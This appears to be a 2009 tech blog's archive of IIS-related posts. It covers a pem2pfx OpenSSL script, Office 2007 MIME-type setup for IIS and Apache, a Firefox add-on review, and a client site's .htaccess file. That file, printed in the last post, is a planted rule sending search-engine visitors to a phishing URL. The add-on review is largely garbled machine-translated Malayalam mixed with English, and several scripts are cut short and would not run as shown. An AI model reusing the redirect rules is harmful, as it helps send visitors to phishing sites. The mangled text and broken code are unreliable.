Tag-Archive for » iis «

Wednesday, March 18th, 2009 | Author:

[edit] So much for that. It turns out that openssl is able to determine that the key and certificate are already in a single file. Therefore, no csplitting required (well, I hope somebody reading this at least learned about how nice csplit is). In fact, the whole script might as well be obsoleteblaargh. Well, at least it gives a nice warning about not giving a blank passphrase. 😀

Here’s the new version:

pem2pfxconverts a .pem-formatted file containing a private key and signed certificate into a Windows-compatible .pfx certificate file.

#Tricky - brendan@swiftspirit.co.za
# Converts a .pem certificate file to .pfx format
# $1 is the source file
set -e
if [ $# = 1 ]; then
  outputfile=`echo $1 | sed 's/.pem$/.pfx/'`
  echo "Please specify a password below. Windows refuses to import a .pfx certificate with a blank password."
  openssl pkcs12 -export -out $outputfile -in $1
  echo "pem2pfx - converts a .pem formatted private-key and certificate file to an IIS-compatible .pfx file."
  echo "Usage: pem2pfx inputfile.pem"


Saturday, February 21st, 2009 | Author:

The relatively new document types Office 2007 has given some web hosts problems when their clients want to offer documents for download. Most often, the documents are being offered by the web server as text/html which is then rendered as a ton of garbage on the web user’s screen.

The best way to resolve this is to add all the MIME types to the server’s main configuration. IIS7 for Windows already has these MIME types set up correctly by default. IIS6 and IIS5 require the MIME types to be added, as might Apache on older installations. For Apache, there is also a workaround for the individual domain owner to add the mime types via Apache’s .htaccess file.

IIS 6 MIME type addition (for the Server Administrator)

Before this can be done, ensure that your server is also set to allow direct metabase editing:

  1. Load IIS Manager: Start -> Run, “inetmgr” -> [OK]
  2. Right click theserverand clickProperties
  3. Within theInternet Information Servicestab (usually the only tab), ensure that theEnable Direct Metabase Editcheckbox is checked.
  4. Click [OK]

Be sure to back up IIS’s configuration (here for IIS5) beforehand. I won’t take any responsibility for an admin breaking his server. I have reason to believe this may also work on IIS5 however I have just as much reason to believe that it might just give lots of errors. If an IIS5 / Windows 2000 admin is willing to test this for me after backing up your configuration please let me know of the results.

Copy the following text into a file named msoff07-addmime.vbs and execute it once from the commandline by typing cscript msoff07-addmime.vbs and pressing Enter. If you run it more than once, the MIME types will be added each time and you will have multiple identical entries:

' This script adds the necessary Office 2007 MIME types to an IIS 6 Server.
' To use this script, just double-click or execute it from a command line.
' Running this script multiple times results in multiple entries in the
' IIS MimeMap so you should not run it more than once.
' Modified from http://msdn.microsoft.com/en-us/library/ms752346.aspx
Dim MimeMapObj, MimeMapArray, MimeTypesToAddArray, WshShell, oExec
' Set the MIME types to be added
MimeTypesToAddArray = Array(".docm", "application/vnd.ms-word.document.macroEnabled.12", _
".docx", "application/vnd.openxmlformats-officedocument.wordprocessingml.document", _
".dotm", "application/vnd.ms-word.template.macroEnabled.12", _
".dotx", "application/vnd.openxmlformats-officedocument.wordprocessingml.template", _
".potm", "application/vnd.ms-powerpoint.template.macroEnabled.12", _
".potx", "application/vnd.openxmlformats-officedocument.presentationml.template", _
".ppam", "application/vnd.ms-powerpoint.addin.macroEnabled.12", _
".ppsm", "application/vnd.ms-powerpoint.slideshow.macroEnabled.12", _
".ppsx", "application/vnd.openxmlformats-officedocument.presentationml.slideshow", _
".pptm", "application/vnd.ms-powerpoint.presentation.macroEnabled.12", _
".pptx", "application/vnd.openxmlformats-officedocument.presentationml.presentation", _
".sldm", "application/vnd.ms-powerpoint.slide.macroEnabled.12", _
".sldx", "application/vnd.openxmlformats-officedocument.presentationml.slide", _
".xlam", "application/vnd.ms-excel.addin.macroEnabled.12", _
".xlsb", "application/vnd.ms-excel.sheet.binary.macroEnabled.12", _
".xlsm", "application/vnd.ms-excel.sheet.macroEnabled.12", _
".xlsx", "application/vnd.openxmlformats-officedocument.spreadsheetml.sheet", _
".xltm", "application/vnd.ms-excel.template.macroEnabled.12", _
".xltx", "application/vnd.openxmlformats-officedocument.spreadsheetml.template") 
' Get the mimemap object
Set MimeMapObj = GetObject("IIS://LocalHost/MimeMap")
' Call AddMimeType for every pair of extension/MIME type
For counter = 0 to UBound(MimeTypesToAddArray) Step 2
    AddMimeType MimeTypesToAddArray(counter), MimeTypesToAddArray(counter+1)
' Create a Shell object
Set WshShell = CreateObject("WScript.Shell")
' Stop and Start the IIS Service
Set oExec = WshShell.Exec("net stop w3svc")
Do While oExec.Status = 0
    WScript.Sleep 100
Set oExec = WshShell.Exec("net start w3svc")
Do While oExec.Status = 0
    WScript.Sleep 100
Set oExec = Nothing
' Report status to user
WScript.Echo "Microsoft Office 2007 Document MIME types have been registered."
' AddMimeType Sub
Sub AddMimeType (Ext, MType)
    ' Get the mappings from the MimeMap property.
    MimeMapArray = MimeMapObj.GetEx("MimeMap") 
    ' Add a new mapping.
    i = UBound(MimeMapArray) + 1
    Redim Preserve MimeMapArray(i)
    Set MimeMapArray(i) = CreateObject("MimeMap")
    MimeMapArray(i).Extension = Ext
    MimeMapArray(i).MimeType = MType
    MimeMapObj.PutEx ADS_PROPERTY_UPDATE, "MimeMap", MimeMapArray
End Sub

Apache MIME type addition (for the Server Administrator)

Apache stores its MIME types in a file normally located at $installpath/conf/mime.types. See the mod_mime documentation for more on how it works. Arch Linux installs its MIME types at /etc/httpd/conf/mime.types and Parallels Plesk installs it in /usr/local/psa/admin/conf/mime.types. Your distribution might have it in another place, so find your mime.types file by running locate mime.types.

Add the following lines to your mime.types file:

application/vnd.ms-word.document.macroEnabled.12                          docm
application/vnd.openxmlformats-officedocument.wordprocessingml.document   docx
application/vnd.ms-word.template.macroEnabled.12                          dotm
application/vnd.openxmlformats-officedocument.wordprocessingml.template   dotx
application/vnd.ms-powerpoint.template.macroEnabled.12                    potm
application/vnd.openxmlformats-officedocument.presentationml.template     potx
application/vnd.ms-powerpoint.addin.macroEnabled.12                       ppam
application/vnd.ms-powerpoint.slideshow.macroEnabled.12                   ppsm
application/vnd.openxmlformats-officedocument.presentationml.slideshow    ppsx
application/vnd.ms-powerpoint.presentation.macroEnabled.12                pptm
application/vnd.openxmlformats-officedocument.presentationml.presentation pptx
application/vnd.ms-powerpoint.slide.macroEnabled.12                       sldm
application/vnd.openxmlformats-officedocument.presentationml.slide        sldx
application/vnd.ms-excel.addin.macroEnabled.12                            xlam
application/vnd.ms-excel.sheet.binary.macroEnabled.12                     xlsb
application/vnd.ms-excel.sheet.macroEnabled.12                            xlsm
application/vnd.openxmlformats-officedocument.spreadsheetml.sheet         xlsx
application/vnd.ms-excel.template.macroEnabled.12                         xltm
application/vnd.openxmlformats-officedocument.spreadsheetml.template      xltx

Apache MIME type addition (For the domain owner with at least FTP accessusing .htaccess file)

Add the following text to your domain’s .htaccess file, most commonly in an httpdocs/ directory

AddType application/vnd.ms-word.document.macroEnabled.12 docm
AddType application/vnd.openxmlformats-officedocument.wordprocessingml.document docx
AddType application/vnd.ms-word.template.macroEnabled.12 dotm
AddType application/vnd.openxmlformats-officedocument.wordprocessingml.template dotx
AddType application/vnd.ms-powerpoint.template.macroEnabled.12 potm
AddType application/vnd.openxmlformats-officedocument.presentationml.template potx
AddType application/vnd.ms-powerpoint.addin.macroEnabled.12 ppam
AddType application/vnd.ms-powerpoint.slideshow.macroEnabled.12 ppsm
AddType application/vnd.openxmlformats-officedocument.presentationml.slideshow ppsx
AddType application/vnd.ms-powerpoint.presentation.macroEnabled.12 pptm
AddType application/vnd.openxmlformats-officedocument.presentationml.presentation pptx
AddType application/vnd.ms-powerpoint.slide.macroEnabled.12 sldm
AddType application/vnd.openxmlformats-officedocument.presentationml.slide sldx
AddType application/vnd.ms-excel.addin.macroEnabled.12 xlam
AddType application/vnd.ms-excel.sheet.binary.macroEnabled.12 xlsb
AddType application/vnd.ms-excel.sheet.macroEnabled.12 xlsm
AddType application/vnd.openxmlformats-officedocument.spreadsheetml.sheet xlsx
AddType application/vnd.ms-excel.template.macroEnabled.12 xltm
AddType application/vnd.openxmlformats-officedocument.spreadsheetml.template xltx
Saturday, February 21st, 2009 | Author:

and my Personal Rating (PR) out of 10 😉

I use ഫയർഫോക്സ് so most of these won’t apply to non-FF users. However, I’d be very very interested to hear what other addons my friends, subscribers, and random websurfers find interesting or useful to them. Have your say and let us know why you love the addons you love. 🙂

Personally, I prefer addons that aren’t intrusive. Ideally, an addon must have a minimal interface and give me a measurable benefit for me to keep it installed.

Cacheviewer – 7

This is a GUI front-end for the Cache Firefox keeps of the last few pages and media. I’ve found this addon more interesting than useful right now so I’m probably going to remove it soon.

ColorfulTabs – 9

I love the colours. The tab colour-grouping doesn’t work very well when you reach about 30 tabs though… :-/

Download Statusbar – 10

I prefer having everything in Firefox in a single window in tabs. Having a download box in a separate window is a big no-no for me. It also saves screen real-estate since it is very minimal. 🙂

വീഡിയോ DownloadHelper – 10

വീഡിയോ DownloadHelper മീഡിയ സ്ട്രീമിങ് തെരയുന്നു – പ്രത്യേകമായി ഡൗൺലോഡ് ചെയ്യപ്പെടുന്നു ഏതെങ്കിലും വലിയ ഉള്ളടക്കം തിരയുന്ന. നിങ്ങൾ ഐക്കൺ ക്ലിക്ക് ചെയ്യുമ്പോൾ, അതു നിങ്ങൾ നിലവിൽ ഡൗൺലോഡ് തോടുകൾ കാണിക്കുന്നു നിങ്ങൾ ഒരു പോലെ ക്യൂവിൽ ഓപ്ഷൻ നൽകുന്നു “സാധാരണ” ഡൗൺലോഡ്.

എഫ് എഫ് തുടരേ പോകുന്ന അല്ലെങ്കിൽ പവർകട്ട് പോകുന്ന പക്ഷം നിങ്ങൾക്ക് ഒരിക്കലും അറിയാൻ ശേഷം, ഞാൻ എന്റെ ഡെസ്ക്ടോപ്പ് ഒരു പകർപ്പ് സംരക്ഷിക്കാൻ ആഗ്രഹിക്കുന്ന ഞാൻ വീണ്ടും വീഡിയോ ഡൌൺലോഡ് ചെയ്യാൻ കൂടുതൽ ബാൻഡ് ഉപയോഗിക്കാതെ വീഡിയോ കാണുന്നതിനായി. എതിരെ, ജോലി, ജനം എന്നെ YouTube അല്ലെങ്കിൽ മറ്റ് മാധ്യമവാർത്തകൾ കണ്ണികൾ അയയ്ക്കുമ്പോൾ, ഞാൻ സാധാരണയായി ശേഷം വളരെ വരെ ജാഗരിച്ചും മെനക്കെടുന്നില്ല – എന്റെ സ്വന്തം ഇഷ്ടമുള്ളപ്പോൾ അല്ലെങ്കിൽ ഒരു ഇടവേള സമയത്ത്.

കാലഹരണപ്പെടുന്ന കാനറി – 9

നിങ്ങൾ നിലവിൽ കാണുന്ന സൈറ്റ് SSL സർട്ടിഫിക്കറ്റ് ഉടൻ കാലഹരണപ്പെടും പോകുന്ന പക്ഷം ഈ വിലങ്ങുതടിയായി ചുരുങ്ങിയ അദ്ദോൻ നിങ്ങളെ പറയുന്നു. നിങ്ങളുടെ സ്വന്തം സൈറ്റ് ഒരു SSL സർട്ടിഫിക്കറ്റ് ഉണ്ടെങ്കിൽ, ഞാൻ നിങ്ങളെ അറിയിപ്പ് അല്ലെങ്കിൽ മൊട്ടക്കഥ ഒരു ലളിതമായ അഭാവം കാരണം കാലഹരണപ്പെടുന്ന നിങ്ങളുടെ സൈറ്റിന്റെ SSL സർട്ടിഫിക്കറ്റ് ഒഴിവാക്കാൻ സഹായിക്കുന്നതിന് ഈ അദ്ദോൻ ഉപയോഗിക്കുക ശുപാർശ.

Fasterfox – 8

Fasterfox adds some network optmisation options. Some of the options could make your corporate network admin a little mad with you though. 😉

ഫയർബഗ് – 9

പേജുകൾ ഉപയോഗിച്ച് വെബ് വികസനം പരീക്ഷണങ്ങളും വേണ്ടി. കോഡിന്റെ ചെറിയ ബിറ്റുകൾ അതുപോലെ ഡീബഗ്ഗിംഗ് പേജുകൾ പരിശോധനയെ കാണൂ.

FoxClocks – 6

errtells you the time in other time zones. o.O Was useful for a short timenow its redundant since my head is working it out faster than I can glance. rm -f

FoxyProxy – 9

നിർദ്ദിഷ്ട പ്രോക്സി സെർവറുകൾ വഴി നിർദ്ദിഷ്ട പേജുകൾ ബ്രൗസുചെയ്യുന്നതിനുള്ള കാണൂ. This is useful for when some sites are blocked or the SAIX Transparent Proxy servers aren’t working properly. 🙂

ഞാൻ പകരം സ്ഥിര റൂട്ടുകൾ കടക്കയുമില്ല താൽപ്പര്യപ്പെടുന്ന പ്രോക്സി സെർവറുകൾ മേൽ ചില ട്രാഫിക് റൂട്ട് ഇത് ഉപയോഗിക്കാം. Its also very flexible. ലഭ്യമായ ഒറ്റ പ്രോക്സി സെർവർ നിങ്ങൾ സാധാരണയായി ഒരേ കൂടുതൽ ഉണ്ടെങ്കിൽ പെട്ടെന്നു ബ്ലിങ്ക് തുടരുന്നു, അടുത്ത ഒന്നു സ്വിച്ചുചെയ്യും. 🙂

GreaseMonkey – 10

Right now, I use this only for the GooglemonkeyR script. This script reformats Google‘s search results to your specifications and also has an option to show small thumbnail of the pages Google links to. Greasemonkey can do a lot more and there are plenty of scripts readily available for many many sites.

Live HTTP headers – 8

I’ve used this a few times to diagnose gzip compression issues with IIS web servers. Not much else to say though: It works.

Live PageRank – 10 (so faronly installed it yesterday)

This addon seems simple enough. It gets the PageRank from Google and shows it in the tray.

NoScript – 10

NoScript താണിപ്പാറയിലെത്താം തടയുന്നത് ചെയ്തത് സുഖം ഉണ്ട്. ആദ്യം അതിന്റെ അല്പം അസ്വസ്ഥമാക്കുന്ന നിങ്ങൾ ഇഷ്ടപ്പെടുന്ന എല്ലാ സൈറ്റുകളിലും വൈറ്റ്ലിസ്റ്റുചെയ്യാൻ കാരണം – but in the long run it is soooo worth it. 🙂

പേജുകൾ പുനരുത്ഥരിക്കുക – 10

നിങ്ങൾ ഒരു സൈറ്റിലേക്ക് ബ്രൗസ് അതു ഇറങ്ങി സംഭവിക്കുകയോ വളരെ ഉപകാരപ്രദമായ. സൈറ്റ് സ്റ്റാറ്റിക്-ഉള്ളടക്കം ഓറിയന്റഡ് ആണ് എങ്കിൽ ഈ എളുപ്പമാക്കുന്നു അതിന്റെ കാഷെ ഓൺലൈനിൽ വേഗത്തിൽ ഉള്ളടക്കം കണ്ടെത്താൻ.

ടാബ് മിക്സ് പ്ലസ് – 8

Awesome for if you have more than 7-or-so tabs.

ShowIP (using a version modified for work purposesdisplays company server’s canonical name when browsing) – 10

I cannot imagine the hell I’d have to go through to identify a server without this plugin. Okay, I can. Used to have to do this all the time. I eventually scripted it but I can’t find the original script. Here’s my 60-second attempt at recreating what was in that script:

$ cat /etc/hosts | grep `dig A $hostname @mycachingnameserver | grep . | grep -v "^;"`
$ dig -x `dig A $hostname @mycachingnameserver | grep ^$hostname | grep A | \
  awk '/[.]/{print $5}'` @mycachingnameserver | grep . | grep -v "^;"

Web Developer – 9

I used this once to diagnose some issues with a page. I don’t do much web development so I’m going to remove this one. Its no comment on its capabilities since I believe this is a top notch add-on if you’re doing a lot of web development work.

Thursday, January 22nd, 2009 | Author:

I very recently found a problem with a client’s web site due to a .htaccess file. The site was hosted on a Windows server running IIS using IISPassword, which makes use of .htaccess files for its settings.

IISPassword doesn’t follow exactly the same rules as with Apache however. If the .htaccess file exists then it must contain IISPassword-appropriate rules, otherwise the server returns only the following error:

Error 500 given by IIS Password
Here’s the content of the .htaccess file. I’ve only modified the final redirection URL to point to example.com appropriately:

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*yahoo.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*yandex.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*rambler.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*ya.*$ [NC]
RewriteRule .* http://siffy-phishing-url.example.com [R,L]

If this were on a server running Apache with mod_rewrite, most web users would go directly to the correct site content. Only if they reached the site through the search engines and indexes listed in the .htaccess, would they be redirected to the siffy phishing url that the cracker wants victims to reach.

Of course, the cracker (or perhaps even an automated worm) didn’t realise that the server in question didn’t even support these mod_rewrite rules. But either way, this is very worrying as I can foresee many arguments about whether or not the site is working